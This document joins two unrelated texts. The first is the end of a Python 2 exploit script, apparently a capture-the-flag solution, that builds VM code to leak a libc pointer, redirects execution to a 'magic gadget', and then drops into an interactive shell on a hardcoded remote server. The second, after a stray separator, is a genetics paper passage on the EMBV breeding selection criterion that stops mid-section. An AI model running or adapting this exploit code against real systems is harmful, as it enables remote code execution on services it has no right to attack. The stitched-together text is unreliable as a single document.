if isinstance(q, Reloc) and q.name == op.name:
this_offset = (this_index * 5 + k) * 64
writer.mov64(ChangeMe(q.token, BITS_TO_PROG_OFF + this_offset), op.src)
# finish up
relocs_done.add(op.name)
left = indexed_ops[i+1][0] - len(writer.ops)
assert left >= 0, "Ran out of space doing relocation"
for q in range(left):
writer.raw(4, 0, 0, 0, self.GARBAGE)
elif any(isinstance(j, Reloc) for j in op):
new_op = []
for j in op:
if isinstance(j, Reloc):
assert j.name in relocs_done
new_op.append(j.fake)
else:
new_op.append(j)
writer.raw(*new_op)
else:
writer.raw(*op)
return writer.ops
def emit(self):
reloc_ops = self.process_relocations()
out = bytearray(16 + CODE_INSTRS*5*8)
bits_needed = self.ALLOC_BASE + self.allocated_bytes*8
assert ALLOC_BITS >= bits_needed, "Raise ALLOC_BITS to "+str(bits_needed)
out[0:8] = pack('<q', ALLOC_BITS)
assert len(reloc_ops) <= CODE_INSTRS, "Raise CODE_INSTRS to "+str(len(reloc_ops))
out[8:16] = pack('<q', CODE_INSTRS)
bits_needed = []
def in_bounds(x):
return x & ((1<<64)-1) < ALLOC_BITS
def fixdown(x, instr_no, arg):
if not isinstance(x, ChangeMe):
assert in_bounds(x), "bad idx"
return x
#assert in_bounds(x.fake_idx) and not in_bounds(x.targ_idx), "prob not what u want"
for i in range(64):
if ((x.fake_idx ^ x.targ_idx) >> i) & 1:
bits_needed.append((BITS_TO_PROG_OFF + instr_no*5*64 + arg*64 + i, (x.targ_idx >> i)&1))
return x.fake_idx
previous_dests = {}
for i, (c, x, y, z, w) in enumerate(reloc_ops):
assert w not in (0, 1), "can't write to 0 or 1"
x, y, w = fixdown(x, i, 1), fixdown(y, i, 2), fixdown(w, i, 4)
assert w not in (0, 1), "unhandled case, server will error"
if c == 4:
z = fixdown(z, i, 3)
if w != self.GARBAGE and w in previous_dests:
assert False, "u will get wrecked: [%d] = %d / %d" % (w, previous_dests[w], i)
previous_dests[w] = i
out[16+i*5*8:16+(i+1)*5*8] = pack('<qqqqq', c, x, y, z, w)
for i in range(len(reloc_ops), CODE_INSTRS): # nops
out[16+i*5*8:16+(i+1)*5*8] = pack('<qqqqq', 1, 0, 0, i, 2)
if bits_needed:
print min(i[0] for i in bits_needed), max(i[0] for i in bits_needed)
assert INPUT_SIZE*8 >= len(bits_needed), "Raise INPUT_SIZE to "+str(len(bits_needed)/8+1)
ip = bytearray(8 + 8*INPUT_SIZE)
ip[0:8] = pack('<q', 8*INPUT_SIZE)
for i in range(len(bits_needed)):
loc, bit = bits_needed[i]
ip[8+8*i:8+8*(i+1)] = pack('<q', loc)
flag = ''.join(
chr(sum(
bit<<i for i, (loc, bit) in enumerate(bits_needed[i:i+8])
))
for i in range(0, len(bits_needed), 8)
).ljust(INPUT_SIZE, 'A')
for i in range(len(bits_needed), 8*INPUT_SIZE):
ip[8+8*i:8+8*(i+1)] = pack('<q', self.GARBAGE)
return out, ip, flag
def raw(self, *args):
self.ops.append(args)
def and3(self, dst, src1, src2):
self.ops.append((1, src1, src2, -1, dst))
def or3(self, dst, src1, src2):
self.ops.append((2, src1, src2, -1, dst))
def xor3(self, dst, src1, src2):
self.ops.append((3, src1, src2, -1, dst))
def ite(self, dst, cond, src1, src2):
self.ops.append((4, cond, src1, src2, dst))
def mov(self, dst, src, token=None):
if token is None:
token = src
self.ops.append((4, 0, token, src, dst))
def mov64(self, dst, src):
for i in range(64):
self.mov(dst+i, src+i)
def and64(self, dst, src1, src2):
for i in range(64):
self.and3(dst+i, src1+i, src2+i)
def or64(self, dst, src1, src2):
for i in range(64):
self.or3(dst+i, src1+i, src2+i)
def xor64(self, dst, src1, src2):
for i in range(64):
self.xor3(dst+i, src1+i, src2+i)
def add64(self, dst, src1, src2):
if isinstance(dst, int):
assert (not isinstance(src1, int) or abs(dst-src1) >= 64) and \
(not isinstance(src2, int) or abs(dst-src2) >= 64)
andbits = self.alloc(64)
self.and64(andbits, src1, src2)
xorbits = self.alloc(64)
self.xor64(xorbits, src1, src2)
carrybits = self.alloc(64)
scratch = self.alloc(64)
self.and3(carrybits, src1, src2)
self.xor3(dst, src1, src2)
for j in range(1, 64):
self.xor3(dst+j, xorbits+j, carrybits+j-1)
self.and3(scratch+j, xorbits+j, carrybits+j-1)
self.or3(carrybits+j, scratch+j, andbits+j)
def not64(self, dst, src):
for i in range(64):
self.xor3(dst+i, 1, src+i)
def alloc(self, bits):
ret = self.ALLOC_BASE + self.allocated_bytes * 8
self.allocated_bytes += (bits+7)/8
return ret
def make_const64(self, value, token=None):
base = self.alloc(64)
for i in range(64):
self.mov(base+i, (value >> i)&1, token=(token+i if token is not None else None))
return base
def make_fake(self):
self.nfakes += 1
return self.make_const64(int(('%02x' % (self.nfakes + ord('0'))) * 8, 16))
def do_reloc(self, name, src):
# pre-allocate space for the reloc code
self.ops.append(DoReloc(name, src))
#
# This is the logic for the VM code we send
#
writer = VMWriter()
ENVIRON_IDX = 8 * (0x7f75291c8140 - 0x7f75281d8010)
ENVIRON_TO_DEBUG = (0x7ffef91b6c94 - 0x7ffef91b6de8)
LIBC_ADDR_IDX = 8 * (0x7f5bd998c748 - 0x7f5bd90e9010)
LIBC_ADDR_TO_SELF = (0x7f5bd90e9010 - 0x7f5bd9990f20)
reloc = writer.alloc(64)
pointeroff = writer.alloc(64)
debug = writer.alloc(64)
selfptr = writer.alloc(64)
negself = writer.alloc(64)
writer.add64(debug, writer.make_const64(ENVIRON_TO_DEBUG), ChangeMe(writer.make_fake(), ENVIRON_IDX))
writer.add64(selfptr, writer.make_const64(LIBC_ADDR_TO_SELF - 1), ChangeMe(writer.make_fake(), LIBC_ADDR_IDX))
writer.not64(negself, selfptr)
writer.add64(pointeroff, debug, negself)
# Multiply by 8, since we calculated a pointer offset but our relocations are
# based on bit indices.
pointeroff2 = writer.alloc(64)
pointeroff4 = writer.alloc(64)
writer.add64(pointeroff2, pointeroff, pointeroff)
writer.add64(pointeroff4, pointeroff2, pointeroff2)
writer.add64(reloc, pointeroff4, pointeroff4)
writer.do_reloc('reloc', reloc)
token = writer.alloc(64)
blah = writer.alloc(1)
blah2 = writer.alloc(1)
writer.or3(blah2, token, reloc)
writer.or3(blah, 1, blah2)
q = [writer.alloc(1) for i in range(100)] # Try to make this come last after the sort? idk. YAY IT WORKED
[writer.or3(x, 1, y) for x, y in zip(q[:-1], q[1:])]
writer.mov(Reloc(writer.alloc(1), 'reloc', token), q[0])
code, ip, flag = writer.emit()
#
# Test code / past attempts that didn't work
#
# # NEED TO RE-FIND AS CODE CHANGES.
# LIBC_ADDR_IDX = (0xbfc878 - 0xbd8030) * 8
# HEAP_ADDR_IDX = (0xbfc850 - 0xbd8030) * 8
# FIX_OFFSET_BITS = 8 * (((0xbd8030 + ~0xbfc800 + 0x7fbfd8fb8678) & ((1<<64)-1)) - 0x7fbfd8c13000)
#
# testalloc = writer.alloc(64)
#
# reloc = writer.alloc(64)
# temp = writer.alloc(64)
# notheapaddr = writer.alloc(64)
# writer.not64(notheapaddr, ChangeMe(writer.make_fake(), HEAP_ADDR_IDX))
# writer.add64(temp, notheapaddr, ChangeMe(writer.make_fake(), LIBC_ADDR_IDX))
# writer.add64(reloc, temp, writer.make_const64(FIX_OFFSET_BITS + 0))
#
# writer.do_reloc('libc', reloc)
# token = writer.alloc(64)
# writer.mov64(Reloc(writer.alloc(64), 'libc', token), token)
#
# # PROG_OFF = 1 + 0xdeadbeef - 0xdeadbeef # TODO
# # # .got.plt:00000000006050B8 off_6050B8 dq offset write
# # WRITE_TO_MAGIC_GADGET = 0x41374 - 0xdbbf0 # magic_gadget - write
# # writer.add64_inplace(PROG_OFF + 0x6050B8, WRITE_TO_MAGIC_GADGET)
#
# code, ip, flag = writer.emit()
# ########################################
# writer = VMWriter()
# c1 = writer.alloc(64)
# c2 = writer.make_const64(0x3f3f3f3f3f3f3f3f)
# c3 = writer.make_const64(0x0202020202020202)
# writer.add64(c1, c2, c3)
# # # writer.not64(c1, writer.make_const64(~0x4142434445464748))
# code, ip, flag = writer.emit()
# ########################################
#########################################
# writer = VMWriter()
# writer.mov((1<<48) + 3, 0)
# code, ip, flag = writer.emit()
#########################################
########################################
# writer = VMWriter()
# c1 = writer.alloc(64)
# c2 = writer.alloc(64)
# reloc_src = writer.make_const64(c1+1)
# writer.do_reloc('reloc', reloc_src)
#
# token = writer.alloc(64)
# blah = writer.alloc(1)
# writer.or3(blah, token, 1)
# writer.mov(Reloc(writer.alloc(1), 'reloc', token), blah)
# code, ip, flag = writer.emit()
########################################
op = pack("<q", 8 * OUTPUT_SIZE)
for i in range(8 * OUTPUT_SIZE):
op += pack("<q", writer.ALLOC_BASE+i)
# op = pack("<q", 8 * OUTPUT_SIZE)
# for i in range(8 * OUTPUT_SIZE):
# op += pack("<q", BITS_TO_PROG_OFF+i)
import socket
if TARGET_REMOTE:
sock = socket.create_connection(('202.120.7.199', 24680))
else:
sock = socket.create_connection(('debian0.vm', 24680))
raw_input('>')
print (len(code)+len(ip)+len(flag)+len(op)) / 1024
sock.send(code)
sock.send(ip)
#raw_input('>')
sock.send(flag)
sock.send(op)
libc_pointer = 0
import sys
for i in xrange(0, OUTPUT_SIZE):
c = sock.recv(1)
if not c:
sys.stdout.write('\n')
break
else:
sys.stdout.write('%02x ' % ord(c))
#sys.stdout.write(repr(c)[1:-1])
if i%8 == 7:
sys.stdout.write('\n')
sys.stdout.flush()
if 24 <= i < 32: # THIS IS OUR LIBC POINTER
libc_pointer += ord(c) << (8*(i-24))
from time import sleep
sleep(1)
libc_pointer += 5518181 # offset to magic gadget
sock.send(pack('<Q', 0x0000000000400be9) * 32)
sock.send(pack('<Q', libc_pointer))
from telnetlib import Telnet
t = Telnet()
t.sock = sock
print "take the wheel"
t.interact()
|
The identification, selection and propagation of superior individuals builds the foundation of all breeding efforts. The breeding potential of a candidate is classically determined by its breeding value (BV), the sum of all additive effects at quantitative trait loci (QTL) affecting a complex trait ([@bib18]). While BVs have been estimated in progeny tests, [@bib20] proposed genomic selection (GS) to predict BVs prior to phenotypic evaluation. The principle is to use genome-wide marker data and phenotypes of training individuals to calculate locus-specific allele substitution effects. Genomic estimated breeding values (GEBVs) are then calculated as predictors of BVs. Selecting individuals ranked according to their BVs maximizes the population mean of the next cycle when they are recombined, but a repeated application of this selection strategy does not necessarily maximize long-term genetic gain over several generations ([@bib31]; [@bib17]). GEBVs, as predictors of BVs, are subject to the same constraints. This suboptimal behavior can be explained by the fact that GEBVs are simple genome-wide sums of estimates of allele substitution effects, which can conceal the contribution of favorable alleles with small effects. The later are less relevant for short-term gain and can be easily lost, especially if their frequency is low, but can play an important role for long-term gain by maintaining useful genetic variance ([@bib15]; [@bib17]).
To prevent the loss of rare favorable alleles, [@bib7] proposed a modified GEBV that weights estimated allele substitution effects using the frequencies of favorable alleles, such that rare alleles receive a higher weight. This criterion does not take into account the magnitude of the effects based on the premise that, for optimal long-term genetic gain, all favorable alleles should ultimately be fixed. Later, [@bib15] suggested a modification called weighted GS, herein referred to as weighted GEBV (wGEBV). This considers also the magnitude of the effects, because especially for QTL with small effects determining which allele is the favorable one is problematic. wGEBV proved to be superior to GEBVs in terms of long-term genetic gain (19 cycles) in spring barley (*Hordeum vulgare* L., [@bib15]).
Differential weighting of substitution effects does not take into account other important information often available at no extra cost, such as genetic map positions of loci and linkage phases of alleles at different loci. New selection criteria utilizing this information could be defined based on the prospects that candidates produce superior gametes with favorable combinations of haplotypes. While the average performance of progeny of such candidates might be inferior to that of individuals selected on GEBVs alone, the top-performing individuals in the progeny are expected to be superior, which boosts the genetic gain achievable in future generations.
In this vein, [@bib5] recently proposed a criterion called optimal haploid value (OHV), which aims at predicting the theoretically optimal combination of haplotypes in a gamete produced from a heterozygous candidate. The criterion was tested in simulations of a bread wheat breeding program and showed increased genetic gain compared to selection on GEBVs. In their study, genetic progress was measured as the performance of the best doubled haploid (DH) line (generated by chromosome doubling of a gamete) produced from selected individuals. By definition, OHV does not take into account the finite size of the breeding population; hence, it merely considers the possibility of a superior gamete, disregarding its probability ([@bib11]). Moreover, OHV requires the genome to be partitioned into haplotypes, and it is yet an unsolved problem how this should be optimally accomplished.
In view of these limitations, we herein propose a novel selection criterion called expected maximum haploid breeding value (EMBV). It characterizes the breeding potential of a candidate in terms of the performance of the top gametes it is able to produce. If a candidate is selected for recombination, it will contribute a certain number of gametes to the next generation. This number can be directly ascertained under controlled matings or easily estimated under random mating conditions. The EMBV is then defined as the expected GEBV of the best among all DH lines derived from these gametes. Hence, EMBV takes the finite population size into account and it is not necessary to partition the genome into haplotypes.
The objectives of our study were (i) to evaluate *in silico* the potential of EMBV as an alternative selection criterion in a generic recurrent selection (RS) program and (ii) compare it to the criteria OHV, wGEBV and GEBV with respect to genetic gain and genetic diversity across 50 selection cycles. The performance of OHV was assessed under optimal conditions with respect to the partitioning of the genome into haplotypes. In order to evaluate the effect of gene action on the comparison of the selection criteria, we compared purely additive gene action with completely dominant gene action at all loci. Furthermore, we considered the effect of population size, the number of selected individuals and the number of chromosomes on the relative performance of the different selection criteria.
Material and Methods {#s1}
====================
Genetic model {#s2}
-------------
We considered a quantitative trait with additive and dominant gene action at all *L* loci. Each locus was bi-allelic with alleles $A_{l}$ and $B_{l}$ and possible unordered genotypes $A_{l}A_{l},$ $A_{l}B_{l}$ and $B_{l}B_{l}.$ We assumed that the locations of loci and of alleles on homologous chromosomes are known (phased genotypic data). For each locus of a diploid, heterozygous individual *i*, let $x_{il}^{(j)} \in \left\{ {0,1} \right\}$ be an indicator variable indicating absence or presence of the $B_{l}$ allele at the *l*-th locus on the *j*-th haploid genome ($j \in \left\{ {1,2} \right\},$ referring to the maternal and paternal genome). Then $x_{il} = x_{il}^{(1)} + x_{il}^{(2)}$ is a genotypic score counting the number of $B_{l}$ alleles. Following the genetic model of [@bib18], we assumed that the genotypic value of an individual *i* with genotype $x_{il}$ at locus *l* is given by$$G_{il} = \begin{cases}
0 & {\text{if}\,\mathit{x}_{\mathit{il}} = 0} \\
{\left( {1 + \mathit{k}_{\text{l}}} \right)\mathit{a}_{\text{l}}} & {\text{if}\,\mathit{x}_{\mathit{il}} = 1} \\
{2\mathit{a}_{\text{l}}} & {\text{if}\,\mathit{x}_{\mathit{il}} = 2} \\
\end{cases}$$where $a_{l}$ is the homozygous effect (half the difference between the two homozygous genotypes) and $k_{l}$ the dominance coefficient (deviation of the heterozygote from the mean of the homozygotes in units of $a_{l}$). Effects $a_{l}$ were independently drawn from a gamma distribution $\Gamma\left( {\text{shape} = 1.66,\text{scale} = 0.4} \right),$ following [@bib20], such that $B_{l}$ was implicitly defined as the favorable allele. We assumed two extreme scenarios where gene action at all QTL was either purely additive, $k_{l} = 0,$ or completely dominant/recessive, where $k_{l}$ was either 1 or $- 1,$ with equal probability. Dominance coefficients $k_{l}$ were assumed to be stochastically independent of additive effects, following [@bib32]. The genome-wide genotypic value of an individual *i* was computed as $G_{i} = {\sum_{l}G_{i}}.$ The average effect of an allelic substitution $\alpha_{l}$ at a single locus *l* was computed as $\alpha_{l} = a_{l}\left( {1 + k\left( {1 - 2p_{l}} \right)} \right),$ where $p_{l}$ is the frequencies of allele $B_{l}$ at the respective locus. The BV of individual *i* was computed as $g_{i} = {\sum_{l}\left( {x_{il} - 2p_{l}} \right)}\alpha_{l}$ ([@bib29]). Following [@bib5], we assumed that QTL genotypes and effects are known without error, *i.e.*, marker loci are identical to QTL and their associated allele substitution effects are identical to the simulated substitution effects for QTL. This was done in order to assess the performance of the investigated selection criteria under optimal conditions. Consequences in the practical case where the trait genetic architecture is unknown and (marker) allele substitution effects can be only estimated with some degree of precision are addressed in the discussion.
Selection criteria {#s3}
------------------
### GEBV: {#s4}
The GEBV of individual *i* is canonically computed as$$GEBV_{i} = {\sum\limits_{l = 1}^{L}{x_{il}\alpha_{l}}},$$which is the genome-wide sum of all substitution effects for the respective alleles.
### EMBV: {#s5}
The EMBV measures the breeding potential of a candidate in terms of the expected GEBV of the best out of $N_{G}$ DH lines produced by it (visualized in [Figure 1](#fig1){ref-type="fig"}), where $N_{G}$ denotes the number of gametes the candidate is expected to contribute to the next generation, if it is selected. If $Y_{i}$ denotes the GEBV of a random DH line produced by candidate *i*, the EMBV is formally defined asFigure 1Illustration of the computation of EMBV for a heterozygous selection candidate. A (conceptually) infinite population of gametes is generated *in silico* from the candidate by simulating meiosis events. The corresponding doubled haploid (DH) lines are evaluated for their GEBVs, yielding a distribution of GEBVs (blue curve). The candidate's GEBV corresponds to the mean GEBV of the DH lines. The EMBV is defined as the expected value of the maximum GEBV of a random sample of DH lines of size $N_{G},$ where $N_{G}$ is the expected number of gametes the candidate will contribute to the next generation.$$EMBV_{i} = \text{E}\left( Y_{i{(N_{G})}} \right),$$where $Y_{i{(N_{G})}}$ is the largest order statistic (maximum) of a random sample of size $N_{G}.$ An alternative formulation of EMBV using a normal approximation for the distribution of GEBVs of DH lines produced by *i* is provided in [File S2](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS2.pdf) and discussed below.
### OHV: {#s6}
For the computation of OHV, the entire set of loci $\left\{ {1,\ldots,L} \right\},$ ordered along the genome, is partitioned into *N* disjoint non-empty subsets $S_{k}$ (corresponding to haplotypes), such that $\left\{ {1,\ldots,L} \right\} = {\cup^{}}_{k = 1}^{N}S_{k}$ and $l < l^{\prime}$ for all $l \in S_{k},$ $l^{\prime} \in S_{k + 1}$ and all $1 \leq k < N.$ According to [@bib5], the OHV of a selection candidate *i* is computed as$$OHV_{i} = 2{\sum\limits_{k = 1}^{N_{S}}\max\limits_{j \in {\{{1,2}\}}}}\left\{ {\sum\limits_{l \in S_{k}}x_{il}^{(j)}\alpha_{l}} \right\},$$*i.e.*, for each haplotype, the maximum breeding value over all haploid genomes is determined and twice the sum of these values is taken as OHV.
### wGEBV: {#s7}
In selection criterion wGEBV marker effects are weighted by a coefficient that depends on the frequency $p_{l}$ of the favorable allele $B_{l}.$ The associated locus weights were computed according to [@bib7] as $\omega_{l} = {{{\pi/2} - \text{arcsin}\left( \sqrt{p_{l}} \right)}/\sqrt{p_{l}\left( {1 - p_{l}} \right)}}$ and wGEBVs were calculated with the modification proposed by [@bib15] as$$wGEBV_{i} = {\sum\limits_{l = 1}^{L}{x_{il}\omega_{l}\alpha_{l}}}.$$For all criteria, allele frequency $p_{l}$ was freshly computed as the sample frequencies of allele $B_{l}$ in each cycle of the breeding program; accordingly, allele substitution effects $\alpha_{l}$ (and locus weights $\omega_{l}$ for wGEBV) varied between cycles. It is important to note that the EMBV and OHV of a completely homozygous individual are identical to its GEBV; hence, these selection criteria only differ for heterozygous genotypes. The computation of GEBV and wGEBV only requires genome-wide co-dominant bi-allelic markers with effect estimates, whereas both EMBV and OHV additionally require a genetic map and phased marker genotypes of the candidates. Criterion EMBV further requires software for simulating meiosis events (*e.g.*, [@bib24]).
Simulation of the base population and genome structure {#s8}
------------------------------------------------------
We considered a diploid species with a constant genome length of $2,000$ cM. The genome was subdivided into $N_{chr} \in \left\{ {5,20,40} \right\}$ segregating chromosomes with equal length (*i.e.*, 400, 100 and 50 cM, respectively). Bi-allelic QTL were uniformly distributed along the genome with a density of 2 QTL per cM, corresponding to a total of $1,000$ QTL. The simulation of the base population was conducted as in [@bib25]. Briefly, a historical population of $1,500$ diploid individuals was subject to random mating for $3,000$ generations. A population bottleneck was simulated by arbitrarily selecting 40 individuals that were further randomly mated for 15 generations to build up extensive linkage disequilibrium, as often observed in elite germplasm in plant breeding (*e.g.*, [@bib28]). The population was then expanded to 5,000 individuals and randomly mated for three more generations to remove close family relationships and establish the base population. Finally, all monomorphic loci were removed from the genotypic data. The base population was simulated only once for each value of $N_{chr}.$ The distribution of allele frequencies (data not shown) and linkage disequilibrium (Figure S1 in [File S3](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS3.pdf)) in terms of $r^{2}$ ([@bib13]) was similar for different $N_{chr}.$
Breeding program {#s9}
----------------
From the base population, $N_{cand}$ individuals were randomly sampled without replacement and constituted the candidates in cycle $C_{0}.$ We considered four distinct breeding programs, starting from the same set of individuals in $C_{0},$ that only differed in the selection criterion, namely the use of GEBV, wGEBV, OHV or EMBV to select $N_{sel}$ candidates for establishing the next generation. For criterion EMBV, the number of gametes $N_{G}$ contributed, on average, by one selected individual to the next generation of $N_{cand}$ new candidates was estimated as ${{2N_{cand}}/N_{sel}},$ rounded to the nearest integer. In a given cycle $C_{t},$ all candidates were evaluated and ranked for the applied selection criterion and the best $N_{sel}$ candidates were selected. For creating cycle $C_{t + 1},$ the selected individuals were randomly mated, *i.e.*, both parents of each future individual were randomly drawn with replacement from the selected candidates, allowing for self-fertilization (father = mother). One gamete per parent was produced and both gametes united to form the new progeny. In cycle $C_{0},$ the population mean (average of all genotypic values) and the standard deviation of BVs ($\sigma_{a_{0}}$) were calculated. In each later cycle $C_{t},$ all individuals were genotyped and the difference between the population mean in $C_{t}$ and $C_{0}$ was computed. This difference was then scaled by $\sigma_{a_{0}}$ and the result was recorded as the genetic gain (*R*), analogous to [@bib15]. Hence, *R* is measured as the progress of the population mean in units of $\sigma_{a_{0}},$ relative to $C_{0}.$ Note that $\sigma_{a_{0}}$ can vary between the different scenarios and among samples of founder individuals from the base population within scenarios. Scaling by $\sigma_{a_{0}}$ aims to correct for this difference in the initially available additive variance, but does not affect comparisons between the four selection criteria. In each selection cycle *t*, genetic diversity was calculated as the variance of the BVs of all candidates ($\sigma_{a_{t}}^{2}$), divided by $\sigma_{a_{0}}^{2}.$ The breeding program was continued for a total of 50 selection cycles. The factors investigated in our simulations ([Table 1](#t1){ref-type="table"}) were (i) the number of candidates in each cycle, $N_{cand} \in \left\{ {30,50} \right\},$ (ii) the number of selected individuals as parents for the next generation, $N_{sel} \in \left\{ {1,3,10} \right\},$ (iii) the number of chromosomes, $N_{chr} \in \left\{ {5,20,40} \right\},$ and (iv) the level of dominance, $k = 0$ (no dominance) or $k = \pm 1$ (complete dominance). The breeding program was replicated at least 600 times for each scenario, starting with sampling the initial candidates in $C_{0}$ from the base population and the simulation of homozygous effects and sampling of the signs of dominance coefficients. The homozygous effects were always scaled to achieve unit additive genetic variance in the base population. Summary statistics are generally reported as arithmetic means across all replicates.
###### Factors investigated, with symbols and list of levels
Factor Symbol Levels
----------------------------------------------- ------------ ------------------------
Number of selection candidates per generation $N_{cand}$ $30,\mathbf{50}$
Number of selected individuals per generation $N_{sel}$ $1,3,10$
Number of non-homologous chromosome $N_{chr}$ $5,\mathbf{20},40$
Mode of gene action *k* additive ($k = 0$),
dominant ($k = \pm 1$)
Levels in boldface type identify the standard scenario.
Computation of OHV and estimation of EMBV {#s10}
-----------------------------------------
The estimation of OHVs requires the specification of haplotypes. The most straightforward way, which we pursued, is to agree on a number of $N_{S} - 1$ equidistant breakpoints that partition each chromosome into $N_{S}$ haplotypes of equal length ([@bib5]). We explored different values for $N_{S},$ starting from 1 (*i.e.*, entire chromosomes) and following the geometric sequence $2^{k},$ $k \in {\mathbb{N}}_{0},$ as long as the haplotypes had a length $\geq 6.25$ cM. An overview of $N_{S}$ and segment lengths for different $N_{chr}$ is shown in Table S1-1 in [File S1](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS1.pdf) and results for *R* obtained with criterion OHV are described in [File S1](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS1.pdf). In the following, we only show those results for criterion OHV where $N_{S}$ was found to yield maximum *R* after 50 cycles of selection.
While GEBVs, OHVs and wGEBVs can be directly computed from genotypic data and allele substitution effects, the estimation of EMBVs is computationally demanding, because an overall large number of DHs has to be generated per individual. We estimated EMBVs by repeatedly producing $N_{G}$ gametes, determining the maximum GEBV among them as described above, and taking the arithmetic mean of the maxima over all replicates. The number of replicates was dynamically adapted such that the empirical standard error was smaller than 0.01 (but at least 10 replicates were taken). This strategy was chosen to balance estimation accuracy and computation time, but in practical applications, computation time is not a bottleneck. We developed a C++ routine for the fast estimation of EMBVs, which is publicly available via a wrapper R package *embvr* ([@bib23]). A possible alternative approach for rapid analytical computation of EMBVs is described in [File S2](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS2.pdf).
Data availability {#s11}
-----------------
Datasets and source code used in our simulations are publicly available from [https://doi.org/10.5281/zenodo.1161723](https://doi.org/10.5281/zenodo.1161723withtheDOI10.5281/zenodo.1161723). File supplental_figures contains supplementary figures. File supplement_1 contains results on the optimal number of haplotypes for selection criterion OHV. File supplement_2 presents an approximation of EMBV using the normal distribution.
Results {#s12}
=======
The genetic gain *R* generally approached a plateau (selection limit) for all selection criteria as the breeding program proceeded ([Figure 2a](#fig2){ref-type="fig"}). During selection, an increasing number of causal polymorphisms became fixed, such that in late stages of the breeding program, individuals were nearly homozygous and the genetic variance was depleted ([Figure 2c](#fig2){ref-type="fig"}). An exception was selection criterion wGEBV, where still considerable genetic progress was achieved after 50 cycles of selection. The rate of genetic progress and the selection limit depended on the selection pressure via the number of selected individuals $N_{sel}.$ If only a single candidate was selected ($N_{sel} = 1$), which corresponds to recurrent selfing, genetic progress was initially very fast, but *R* quickly reached a low selection limit after about 10 cycles. Conversely, under mild selection pressure with $N_{sel} = 10,$ genetic progress was slow at the beginning, but endured over the entire breeding program and *R* generally did not fully reach the selection limit, even after 50 cycles.
{#fig2}
Genetic gain {#s13}
------------
### Additive gene action: {#s14}
Selection criterion EMBV was, in advanced selection cycles, clearly superior to GEBV in terms of genetic gain ([Figure 2a](#fig2){ref-type="fig"}), but minimally weaker in the first cycles (until about cycle 5). After this point, $R_{EMBV}$ surpassed and strictly increased relative to $R_{GEBV}$ during selection. After 50 cycles, $R_{EMBV}$ reached a genetic gain of $12.5\text{\%}$ ($N_{sel} = 1$), $16.7\text{\%}$ ($N_{sel} = 3$) and $6.3\text{\%}$ ($N_{sel} = 10$) larger than $R_{GEBV}.$ With selection criterion OHV, $R_{OHV}$ increased at a lower rate than $R_{GEBV}$ in early cycles. However, $R_{OHV}$ generally caught up to $R_{GEBV}$ and eventually surpassed it. The larger $N_{sel},$ the more cycles it took for $R_{OHV}$ to surpass $R_{GEBV}$ (9 cycles for $N_{sel} = 1,$ compared to 38 cycles for $N_{sel} = 10$). After 50 cycles, $R_{OHV}$ was $9.8\text{\%}$ higher than $R_{GEBV}$ for $N_{sel} = 1,$ but $18.5\text{\%}$ and $9.2\text{\%}$ higher for $N_{sel} = 3$ and 10, respectively, exceeding the performance of EMBV. Criterion wGEBV showed a unique behavior. In general, $R_{wGEBV}$ increased slower than $R_{GEBV}$ in the first few cycles, similar to OHV, and plateaued for $N_{sel} = 1$ and 3 at a level $- 5\text{\%}$ and $- 13.5\text{\%,}$ respectively, below $R_{GEBV}.$ However, for $N_{sel} = 10,$ although $R_{wGEBV}$ also initially slowly increased, it surpassed $R_{GEBV}$ after 25 cycles and eventually reached a value $20.15\text{\%}$ larger than $R_{GEBV}$ after 50 cycles, also surmounting all other criteria.
### Dominant gene action: {#s15}
If gene action at all loci was completely dominant, both the overall level of *R* ([Figure 2a](#fig2){ref-type="fig"}), as well as the advantage of the alternative selection criteria over GEBV ([Figure 2b](#fig2){ref-type="fig"}) were reduced, but the extent depended on the criterion. While EMBV appeared to be robust to dominant gene action for different values of $N_{sel},$ $R_{OHV}$ and $R_{wGEBV}$ were severely reduced for $N_{sel} = 10,$ reaching only $2.8\text{\%}$ ($R_{OHV}$) and $1.4\text{\%}$ ($R_{wGEBV}$) more than $R_{GEBV}$ after 50 cycles.
### Number of candidates and chromosomes: {#s16}
Reducing the number of selection candidates $N_{cand}$ from 50 (standard scenario) to 30 lead to a reduction in the overall level of *R* for all selection criteria ([Figure 3](#fig3){ref-type="fig"}). The larger population size with $N_{cand} = 50$ caused a slightly higher allelic diversity in $C_{0},$ calculated as the average number of alleles per QTL, of 1.97 compared to 1.94 for $N_{cand} = 30.$ This increases the probability that rare favorable alleles in the base population are also present in the breeding population, and hence benefits long-term genetic gain. The ranking between different selection criteria for $N_{cand} = 30$ was similar to $N_{cand} = 50.$ Comparing OHV with EMBV, $R_{OHV}$ tended to decrease relative to $R_{EMBV},$ when $N_{cand}$ was lowered from 50 to 30 individuals.
{#fig3}
Larger $N_{chr}$ slightly elevated the overall level of *R* for all selection criteria (Figure S2 in [File S3](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS3.pdf)). With a constant genome size of $2,000$ cM assumed in our study, increasing $N_{chr}$ increased the overall number of recombinations between loci, which benefited long-term genetic gain. The relative differences in *R* gain between the selection criteria was hardly influenced by $N_{chr}.$ However, it must be taken into account that for OHV, we considered only the optimal number of haplotypes $N_{S}.$ For instance, choosing $N_{S} = 2$ per chromosome yielded optimal *R* only for $N_{chr} = 40,$ but not for $N_{chr} = 5$ (Figure S1-3 in [File S1](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS1.pdf)).
Genetic diversity {#s17}
-----------------
